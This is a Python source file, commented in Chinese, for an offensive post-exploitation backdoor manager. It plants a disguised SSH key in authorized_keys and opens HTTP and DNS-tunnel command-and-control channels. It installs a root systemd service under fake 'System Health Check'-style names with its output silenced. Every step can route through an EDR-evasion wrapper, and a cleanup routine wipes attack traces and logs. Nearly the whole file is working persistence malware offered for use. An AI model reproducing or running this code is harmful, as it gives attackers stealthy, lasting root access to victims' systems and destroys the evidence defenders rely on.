#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

高级利用模块
集成反EDR、持久化管理、隐蔽通信等高级功能的后门管理器
"""

import os
import sys
import subprocess
import time
import random
import string

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import json
from datetime import datetime
from core.utils import color_green, color_red, color_yellow, color_blue, run_command_compat
from modules.intelligence.dependency_manager import DependencyManager

# 导入新的高级模块
try:
    from modules.security.edr_evasion import EDREvasionManager
    from modules.persistence.persistence_manager import MultiLayerPersistence
    from modules.security.stealth_communication import StealthCommunication as StealthCommunicationManager
except ImportError as e:
    color_red("导入高级模块失败: {}".format(e))
    sys.exit(1)

class AdvancedSSHKeyBackdoor:
    """高级SSH密钥后门 - 集成反EDR能力"""
    
    def __init__(self):
        self.name = "高级SSH密钥后门"
        self.description = "具备反EDR能力的SSH密钥后门"
        self.edr_manager = EDREvasionManager()
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查SSH服务
        try:
            result = subprocess.run(['systemctl', 'is-active', 'ssh'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.stdout.decode('utf-8').strip() == 'active':
                conditions.append("SSH服务运行中")
            else:
                result = subprocess.run(['systemctl', 'is-active', 'sshd'], 
                                      stdout=subprocess.PIPE, stderr=subprocess.PIPE)
                if result.stdout.decode('utf-8').strip() == 'active':
                    conditions.append("SSH服务运行中")
        except:
            pass
            
        # 检查.ssh目录
        ssh_dir = os.path.expanduser("~/.ssh")
        if os.path.exists(ssh_dir) and os.access(ssh_dir, os.W_OK):
            conditions.append("SSH目录可写")
            
        return conditions
    
    def deploy(self, public_key=None, target_user=None, stealth_mode=True):
        """部署高级SSH密钥后门"""
        try:
            color_blue("部署高级SSH密钥后门...")
            
            # 检查SSH服务状态
            ssh_status = subprocess.run(['systemctl', 'is-active', 'ssh'], 
                                      capture_output=True, text=True)
            if ssh_status.stdout.strip() != 'active':
                ssh_status = subprocess.run(['systemctl', 'is-active', 'sshd'], 
                                          capture_output=True, text=True)
                if ssh_status.stdout.strip() != 'active':
                    color_yellow("SSH服务未运行，尝试启动...")
                    subprocess.run(['systemctl', 'start', 'ssh'], 
                                 stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            
            # 动态获取用户家目录
            if target_user:
                # 获取指定用户的家目录
                try:
                    import pwd
                    user_info = pwd.getpwnam(target_user)
                    home_dir = user_info.pw_dir
                    color_blue("目标用户: {}".format(target_user))
                    color_blue("家目录: {}".format(home_dir))
                except Exception as e:
                    color_red("获取用户信息失败: {}".format(str(e)))
                    home_dir = "/home/{}".format(target_user)
                except (ImportError, KeyError):
                    # 如果pwd模块不可用，使用eval echo方式
                    result = subprocess.run(['bash', '-c', "eval echo ~{}".format(target_user)], 
                                          capture_output=True, text=True)
                    if result.returncode == 0:
                        home_dir = result.stdout.strip()
                        color_blue("目标用户: {}".format(target_user))
                        color_blue("家目录: {}".format(home_dir))
                    else:
                        color_red("无法获取用户 {} 的家目录".format(target_user))
                        return False
            else:
                # 获取当前用户的家目录
                home_dir = os.path.expanduser("~")
                current_user = os.environ.get('USER', os.environ.get('USERNAME', 'unknown'))
                color_blue("当前用户: {}".format(current_user))
                color_blue("家目录: {}".format(home_dir))
            
            ssh_dir = os.path.join(home_dir, ".ssh")
            authorized_keys = os.path.join(ssh_dir, "authorized_keys")
            
            color_blue("SSH目录: {}".format(ssh_dir))
            color_blue("授权密钥文件: {}".format(authorized_keys))
            
            # 创建.ssh目录并设置正确权限，使用隐蔽方式
            create_dir_cmd = "mkdir -p {} && chmod 700 {}".format(ssh_dir, ssh_dir)
            
            if stealth_mode:
                success, _ = self.edr_manager.execute_stealthy_command(create_dir_cmd)
                if not success:
                    color_red("创建SSH目录失败")
                    return False
            else:
                result = subprocess.run(create_dir_cmd, shell=True)
                if result.returncode != 0:
                    color_red("创建SSH目录失败")
                    return False
            
            color_green("SSH目录创建成功: {0}".format(ssh_dir))
            
            # 生成ED25519密钥对（更安全）
            if not public_key:
                key_name = "advanced_key_{0}".format(random.randint(1000, 9999))
                color_blue("生成高级SSH密钥对...")
                
                keygen_cmd = "ssh-keygen -t ed25519 -f {0} -N '' -C 'system-backup-{1}'".format(key_name, datetime.now().strftime('%Y%m%d'))
                
                if stealth_mode:
                    success, _ = self.edr_manager.execute_stealthy_command(keygen_cmd)
                    if not success:
                        color_red("生成SSH密钥失败")
                        return False
                else:
                    result = subprocess.run(keygen_cmd, shell=True)
                    if result.returncode != 0:
                        color_red("生成SSH密钥失败")
                        return False
                
                try:
                    with open("{}.pub".format(key_name), 'r') as f:
                        public_key = f.read().strip()
                    color_yellow("私钥已保存到: {}".format(key_name))
                    color_green("高级SSH密钥对生成成功")
                except FileNotFoundError:
                    color_red("无法读取生成的公钥文件")
                    return False
            
            # 添加到authorized_keys，使用隐蔽的注释
            timestamp = datetime.now().strftime('%Y-%m-%d')
            key_entry = "\n# System backup key - {}\n{}\n".format(timestamp, public_key)
            
            add_key_cmd = f"echo '{key_entry}' >> {authorized_keys} && chmod 600 {authorized_keys}"
            
            color_blue("添加公钥到authorized_keys...")
            if stealth_mode:
                success, _ = self.edr_manager.execute_stealthy_command(add_key_cmd)
                if not success:
                    color_red("添加SSH密钥失败")
                    return False
            else:
                result = subprocess.run(add_key_cmd, shell=True)
                if result.returncode != 0:
                    color_red("添加SSH密钥失败")
                    return False
            
            color_green("公钥添加成功")
            
            # 最终权限验证
            color_blue("最终权限验证:")
            try:
                ssh_perms = oct(os.stat(ssh_dir).st_mode)[-3:]
                key_perms = oct(os.stat(authorized_keys).st_mode)[-3:]
                
                if ssh_perms == '700' and key_perms == '600':
                    color_green("✓ 高级SSH密钥后门部署成功")
                    color_green("  ✓ SSH目录权限: {} (正确)".format(ssh_perms))
                    color_green("  ✓ 密钥文件权限: {} (正确)".format(key_perms))
                    color_yellow("  SSH目录: {}".format(ssh_dir))
                    color_yellow("  密钥文件: {}".format(authorized_keys))
                    
                    # 显示连接信息
                    if target_user:
                        color_blue("SSH连接命令:")
                        color_yellow("  ssh {}@<target_ip> -i {}".format(target_user, key_name))
                    
                    return True
                else:
                    color_red("权限验证失败")
                    color_red("  SSH目录权限: {} (应为700)".format(ssh_perms))
                    color_red("  密钥文件权限: {} (应为600)".format(key_perms))
                    
                    # 尝试修正权限
                    color_yellow("尝试修正权限...")
                    fix_perms_cmd = "chmod 700 {} && chmod 600 {}".format(ssh_dir, authorized_keys)
                    
                    if stealth_mode:
                        success, _ = self.edr_manager.execute_stealthy_command(fix_perms_cmd)
                        if success:
                            color_green("权限修正成功")
                            return True
                        else:
                            color_red("权限修正失败，需要root权限")
                            return False
                    else:
                        result = subprocess.run(fix_perms_cmd, shell=True)
                        if result.returncode == 0:
                            color_green("权限修正成功")
                            return True
                        else:
                            color_red("权限修正失败，需要root权限")
                            return False
                            
            except Exception as perm_e:
                color_red("权限验证异常: {}".format(perm_e))
                return False
                    
        except Exception as e:
            color_red("高级SSH密钥后门部署失败: {}".format(e))
            return False

class AdvancedNetworkBackdoor:
    """高级网络后门 - 集成隐蔽通信"""
    
    def __init__(self):
        self.name = "高级网络后门"
        self.description = "具备加密通信和流量混淆的网络后门"
        self.comm_manager = StealthCommunicationManager()
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查网络连接
        try:
            result = subprocess.run(['ping', '-c', '1', '8.8.8.8'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE, timeout=5)
            if result.returncode == 0:
                conditions.append("网络连接正常")
        except:
            pass
        
        # 检查防火墙状态
        try:
            result = subprocess.run(['iptables', '-L'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                conditions.append("可访问iptables")
        except:
            pass
            
        return conditions
    
    def deploy(self, c2_host=None, c2_port=443, dns_domain=None, crypto_key=None):
        """部署高级网络后门"""
        try:
            color_blue("部署高级网络后门...")
            
            if not c2_host and not dns_domain:
                color_red("必须提供C2服务器地址或DNS域名")
                return False
            
            # 设置加密密钥
            if crypto_key:
                self.comm_manager.crypto_key = crypto_key
            
            success_count = 0
            
            # 设置HTTP C2通道
            if c2_host:
                if self.comm_manager.setup_http_c2(c2_host, c2_port, use_ssl=True):
                    success_count += 1
                    color_green("✓ HTTP C2通道已建立: {}:{}".format(c2_host, c2_port))
            
            # 设置DNS隧道
            if dns_domain:
                if self.comm_manager.setup_dns_tunnel(dns_domain, interval=300):
                    success_count += 1
                    color_green("✓ DNS隧道已建立: {}".format(dns_domain))
            
            if success_count > 0:
                color_green("✓ 高级网络后门部署成功 ({} 个通道)".format(success_count))
                return True
            else:
                color_red("高级网络后门部署失败")
                return False
                
        except Exception as e:
            color_red("高级网络后门部署失败: {}".format(e))
            return False

class AdvancedSystemServiceBackdoor:
    """高级系统服务后门 - 集成自我修复"""
    
    def __init__(self):
        self.name = "高级系统服务后门"
        self.description = "具备自我修复能力的系统服务后门"
        self.edr_manager = EDREvasionManager()
        
    def check_conditions(self):
        """检查部署条件"""
        conditions = []
        
        # 检查systemd
        try:
            result = subprocess.run(['systemctl', '--version'], 
                                  stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            if result.returncode == 0:
                conditions.append("systemd可用")
        except:
            pass
        
        # 检查写入权限
        if os.access('/etc/systemd/system', os.W_OK):
            conditions.append("systemd目录可写")
            
        return conditions
    
    def deploy(self, service_name=None, command=None, stealth_mode=True):
        """部署高级系统服务后门"""
        try:
            color_blue("部署高级系统服务后门...")
            
            if not service_name:
                service_name = "system-{}-{}".format(random.choice(['update', 'monitor', 'backup', 'health']), random.randint(1000, 9999))
            
            if not command:
                # 默认命令：启动隐蔽的反向Shell
                command = "/bin/bash -c 'while true; do sleep 300; done'"
            
            # 生成伪装的服务描述
            service_descriptions = [
                "System Log Monitor",
                "System Health Check Service", 
                "System Update Manager",
                "System Backup Service",
                "System Maintenance Daemon",
                "System Security Monitor",
                "System Performance Tracker"
            ]
            description = random.choice(service_descriptions)
            
            # 创建完整的服务文件内容
            service_content = f"""[Unit]
Description={description}
After=network.target
Wants=network.target

[Service]
Type=simple
ExecStart={command}
Restart=always
RestartSec=30
User=root
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
"""
            
            service_file = "/etc/systemd/system/{}.service".format(service_name)
            
            # 创建服务文件的命令
            create_service_cmd = f"echo '{service_content}' > {service_file}"
            
            if stealth_mode:
                # 使用EDR规避技术
                success, _ = self.edr_manager.execute_stealthy_command(create_service_cmd)
                if not success:
                    color_red("创建服务文件失败")
                    return False
            else:
                with open(service_file, 'w') as f:
                    f.write(service_content)
            
            color_blue("创建服务文件: {}".format(service_file))
            
            # 启用和启动服务的命令
            enable_commands = [
                ("systemctl daemon-reload", "重新加载systemd配置"),
                ("systemctl enable {}".format(service_name), "启用服务 {}".format(service_name)),
                ("systemctl start {}".format(service_name), "启动服务 {}".format(service_name))
            ]
            
            for cmd, desc in enable_commands:
                color_blue("执行: {}".format(desc))
                if stealth_mode:
                    success, _ = self.edr_manager.execute_stealthy_command(cmd)
                    if not success:
                        color_red("执行命令失败: {}".format(cmd))
                        return False
                else:
                    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
                    if result.returncode != 0:
                        color_red("执行命令失败: {}".format(cmd))
                        color_red("错误信息: {}".format(result.stderr))
                        return False
            
            # 部署后状态校验
            color_blue("正在验证服务状态...")
            time.sleep(3)  # 等待服务启动
            
            # 验证服务状态
            check_cmd = "systemctl is-active {}".format(service_name)
            result = subprocess.run(check_cmd, shell=True, capture_output=True, text=True)
            
            if "active" in result.stdout:
                color_green(f"✓ 高级系统服务后门部署成功")
                color_yellow("服务名: {}".format(service_name))
                color_yellow("服务描述: {}".format(description))
                color_green(f"服务状态: 运行中")
                
                # 显示服务详细信息
                color_blue("服务配置验证:")
                color_green("  ✓ Restart=always (进程退出后自动重启)")
                color_green("  ✓ Description={} (伪装成系统服务)".format(description))
                color_green("  ✓ WantedBy=multi-user.target (适配默认运行级别)")
                color_green("  ✓ After=network.target (网络启动后运行)")
                color_green("  ✓ StandardOutput=null (隐藏输出)")
                color_green("  ✓ EDR规避技术已启用")
                
                return True
            else:
                color_red("服务状态异常: {}".format(result.stdout.strip()))
                color_yellow("查看服务日志: journalctl -u {}".format(service_name))
                color_yellow("可能的问题:")
                color_yellow("  - 命令路径错误")
                color_yellow("  - 权限不足")
                color_yellow("  - 网络连接问题")
                color_yellow("  - EDR检测阻止")
                return False
                
        except Exception as e:
            color_red("高级系统服务后门部署失败: {}".format(e))
            return False

class AdvancedBackdoorManager:
    """高级后门管理器"""
    
    def __init__(self):
        self.backdoors = {
            1: AdvancedSSHKeyBackdoor(),
            2: AdvancedNetworkBackdoor(),
            3: AdvancedSystemServiceBackdoor()
        }
        self.persistence_manager = MultiLayerPersistence()
        self.edr_manager = EDREvasionManager()
        self.dep_manager = DependencyManager()
        
    def list_advanced_backdoors(self):
        """列出所有高级后门类型"""
        print("\n" + "="*70)
        color_blue("🔥 高级权限维持工具 v2.0 - 对抗高级防御")
        print("="*70)
        
        # 检查系统依赖
        if self.dep_manager.initialize():
            missing_deps = self.dep_manager.check_all_dependencies()
            if missing_deps:
                color_yellow("\n⚠️  系统依赖检查:")
                color_red("    缺失依赖: {}".format(', '.join(missing_deps)))
                color_blue("    建议先安装依赖以确保高级功能正常工作")
            else:
                color_green("\n✓ 系统依赖检查: 所有依赖都已安装")
        
        for num, backdoor in self.backdoors.items():
            print("\n[{}] {}".format(num, backdoor.name))
            print("    描述: {}".format(backdoor.description))
            
            # 检查条件
            conditions = backdoor.check_conditions()
            if conditions:
                color_green("    条件: {}个满足".format(len(conditions)))
                for condition in conditions:
                    print("      ✓ {}".format(condition))
            else:
                color_red("    条件: 不满足部署要求")
        
        print(f"\n[4] 多层持久化部署")
        print(f"    描述: 部署多重后门确保长期驻留")
        
        print(f"\n[5] 全面清理痕迹")
        print(f"    描述: 清理所有攻击痕迹和日志")
        
        print("\n" + "="*70)
    
    def deploy_advanced_backdoor(self, backdoor_id, **kwargs):
        """部署指定的高级后门"""
        if backdoor_id in self.backdoors:
            backdoor = self.backdoors[backdoor_id]
            color_blue("\n正在部署: {}".format(backdoor.name))
            return backdoor.deploy(**kwargs)
        elif backdoor_id == 4:
            return self.deploy_multi_layer_persistence(**kwargs)
        elif backdoor_id == 5:
            return self.comprehensive_cleanup(**kwargs)
        else:
            color_red("无效的后门ID")
            return False
    
    def deploy_multi_layer_persistence(self, c2_host=None, c2_port=443, dns_domain=None, crypto_key=None):
        """部署多层持久化"""
        try:
            color_blue("开始部署多层持久化...")
            
            # 1. 设置持久化管理器
            success = self.persistence_manager.setup_comprehensive_persistence(c2_host, crypto_key)
            
            if success:
                # 2. 部署高级后门
                deployed_count = 0
                
                # SSH密钥后门
                ssh_backdoor = AdvancedSSHKeyBackdoor()
                if ssh_backdoor.deploy(stealth_mode=True):
                    deployed_count += 1
                
                # 网络后门
                if c2_host or dns_domain:
                    network_backdoor = AdvancedNetworkBackdoor()
                    if network_backdoor.deploy(c2_host, c2_port, dns_domain, crypto_key):
                        deployed_count += 1
                
                # 系统服务后门
                service_backdoor = AdvancedSystemServiceBackdoor()
                if service_backdoor.deploy(stealth_mode=True):
                    deployed_count += 1
                
                color_green("✓ 多层持久化部署完成，共部署 {} 个高级后门".format(deployed_count))
                return True
            else:
                color_red("多层持久化部署失败")
                return False
                
        except Exception as e:
            color_red("多层持久化部署异常: {}".format(e))
            return False
    
    def comprehensive_cleanup(self, target_ip=None, target_user=None):
        """全面清理攻击痕迹"""
        try:
            color_blue("开始全面清理攻击痕迹...")
            
            # 使用EDR规避管理器进行全面清理
            success = self.edr_manager.comprehensive_cleanup(target_ip, target_user)
            
            if success:
                color_green("✓ 全面清理完成")
                return True
            else:
                color_red("全面清理失败")
                return False
                
        except Exception as e:
            color_red("全面清理异常: {}".format(e))
            return False
    
    def deploy_all_advanced(self, config=None):
        """部署所有可用的高级后门"""
        color_blue("\n开始部署所有高级后门...")
        
        if config is None:
            config = {}
        
        success_count = 0
        total_count = len(self.backdoors)
        
        for backdoor_id, backdoor in self.backdoors.items():
            color_blue("\n检查高级后门: {}".format(backdoor.name))
            
            # 检查条件
            conditions = backdoor.check_conditions()
            if conditions:
                color_green("条件满足，开始部署...")
                
                # 根据后门类型传递相应的配置
                deploy_config = {}
                if backdoor_id == 1:  # SSH后门
                    deploy_config = {
                        'stealth_mode': config.get('stealth_mode', True)
                    }
                elif backdoor_id == 2:  # 网络后门
                    deploy_config = {
                        'c2_host': config.get('c2_host'),
                        'c2_port': config.get('c2_port', 443),
                        'dns_domain': config.get('dns_domain'),
                        'crypto_key': config.get('crypto_key')
                    }
                elif backdoor_id == 3:  # 系统服务后门
                    deploy_config = {
                        'stealth_mode': config.get('stealth_mode', True)
                    }
                
                if backdoor.deploy(**deploy_config):
                    color_green("✓ {} 部署成功".format(backdoor.name))
                    success_count += 1
                else:
                    color_red("✗ {} 部署失败".format(backdoor.name))
            else:
                color_yellow("跳过 {} - 条件不满足".format(backdoor.name))
        
        # 部署多层持久化
        if success_count > 0:
            color_blue("\n部署多层持久化管理...")
            if self.deploy_multi_layer_persistence(
                config.get('c2_host'),
                config.get('c2_port', 443),
                config.get('dns_domain'),
                config.get('crypto_key')
            ):
                success_count += 1
        
        color_blue("\n高级后门部署完成! 成功部署 {}/{} 个组件".format(success_count, total_count + 1))
        
        # 最后清理痕迹
        if config.get('auto_cleanup', True):
            color_blue("\n自动清理攻击痕迹...")
            self.comprehensive_cleanup(
                config.get('target_ip'),
                config.get('target_user')
            )
        
        return success_count
    
    def get_deployment_status(self):
        """获取部署状态"""
        status = {
            'backdoors': {},
            'persistence': None,
            'communication': None
        }
        
        # 检查各个后门状态
        for backdoor_id, backdoor in self.backdoors.items():
            conditions = backdoor.check_conditions()
            status['backdoors'][backdoor.name] = {
                'conditions_met': len(conditions),
                'ready': len(conditions) > 0
            }
        
        # 检查持久化状态
        try:
            # 这里可以添加持久化状态检查逻辑
            status['persistence'] = 'unknown'
        except:
            status['persistence'] = 'error'
        
        return status